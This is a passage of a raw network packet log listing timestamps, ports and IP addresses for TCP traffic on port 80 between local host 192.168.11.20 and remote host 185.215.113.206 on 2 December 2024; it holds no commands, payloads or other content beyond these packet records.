Dec 2, 2024 11:20:37.440115929 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440155029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440186977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440246105 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440365076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440378904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440440893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440496922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440576077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440599918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440599918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440643072 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440747976 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440808058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.440916061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440948009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.440978050 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441008091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441051960 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441054106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441154003 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441250086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441251993 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441358089 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441379070 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441386938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441505909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441526890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441634893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441750050 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441881895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441906929 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.441926956 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.441987991 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442070961 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442121029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442198038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442310095 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442342997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442369938 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442392111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442490101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442543983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442588091 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442631006 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442706108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442744017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442792892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442800045 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442876101 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.442878962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.442972898 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443058014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443131924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443165064 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443193913 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443252087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443267107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443267107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443370104 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443413973 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443505049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443567038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443645000 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443676949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443692923 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443777084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443777084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.443875074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.443932056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444000959 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444017887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444055080 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444164038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444252014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444252014 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444314003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444397926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444504976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444525957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444551945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444628954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444642067 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444694042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444767952 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444798946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.444865942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.444953918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.445040941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445074081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445142984 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445214987 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.445260048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445305109 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.445322037 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445426941 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.445471048 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.445512056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.445672989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.751770020 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.751863956 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.751909971 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.751985073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752135992 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752173901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752233028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752276897 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752365112 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752397060 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752401114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752492905 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752584934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752604961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752650023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.752868891 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.752944946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753005028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753046989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753092051 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753134966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753151894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753204107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753258944 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753324032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753367901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753432989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753495932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753539085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753582954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753607035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753657103 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753657103 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753668070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753753901 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753828049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.753834963 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.753881931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754012108 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754064083 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754127026 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754184961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754230976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754273891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754317999 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754412889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754491091 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754523993 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754570961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754654884 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754690886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754690886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754832029 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.754916906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.754971027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755014896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755101919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755147934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755156994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755219936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755219936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755259991 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755268097 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755341053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755464077 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755585909 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755623102 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755681038 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755726099 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.755830050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.755934954 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769206047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769437075 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769453049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769531012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769576073 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769618034 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769635916 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769714117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769730091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769830942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769848108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769895077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.769927979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.769990921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770085096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770109892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770155907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770239115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770284891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770327091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770375967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770426989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770478964 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770541906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770596981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770704031 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770730019 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770750999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.770848036 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770893097 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.770896912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771039963 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771039963 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771189928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771245956 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771291971 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771334887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771378994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771425009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771471024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771549940 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771568060 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771732092 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.771744967 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771837950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.771927118 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772037983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772053957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772097111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772142887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772185087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772186995 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772275925 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772294998 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772341013 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772372007 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772383928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772545099 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772556067 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772603035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772603035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772681952 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772703886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772756100 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772790909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772875071 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.772954941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.772970915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773049116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773093939 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773138046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773258924 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773308992 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773333073 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773376942 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773519039 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773535967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773565054 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773644924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773694038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773694992 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773772955 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773876905 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.773889065 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.773952007 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.774076939 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.774086952 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.774122000 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.774164915 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.774225950 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.774324894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.774324894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:37.859999895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:37.860336065 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.074651957 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.074712038 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.074758053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.074891090 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.074938059 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.075073004 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075129986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075253963 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075299025 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075359106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.075453997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.075453997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.075540066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075664997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.075747967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.075822115 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.079780102 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.079837084 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.079881907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.080032110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.080084085 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.080171108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.080344915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081111908 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081315994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081319094 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081492901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081542969 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081553936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081629038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081629038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081728935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081775904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081820011 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081861973 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081892014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081906080 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.081968069 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.081968069 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082063913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082063913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082078934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082287073 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082317114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082334042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082377911 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082467079 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082513094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082515955 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082515955 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082585096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082631111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082643032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082745075 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.082838058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082838058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.082885981 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.083005905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.083064079 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.083106995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.083149910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.083152056 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.083198071 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.083198071 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.083343983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.182928085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.182986021 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.183031082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.183232069 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.183276892 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.183303118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.183568954 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:38.405471087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.405495882 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.405630112 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:38.405648947 CET	80	49748	185.215.113.206	192.168.11.20
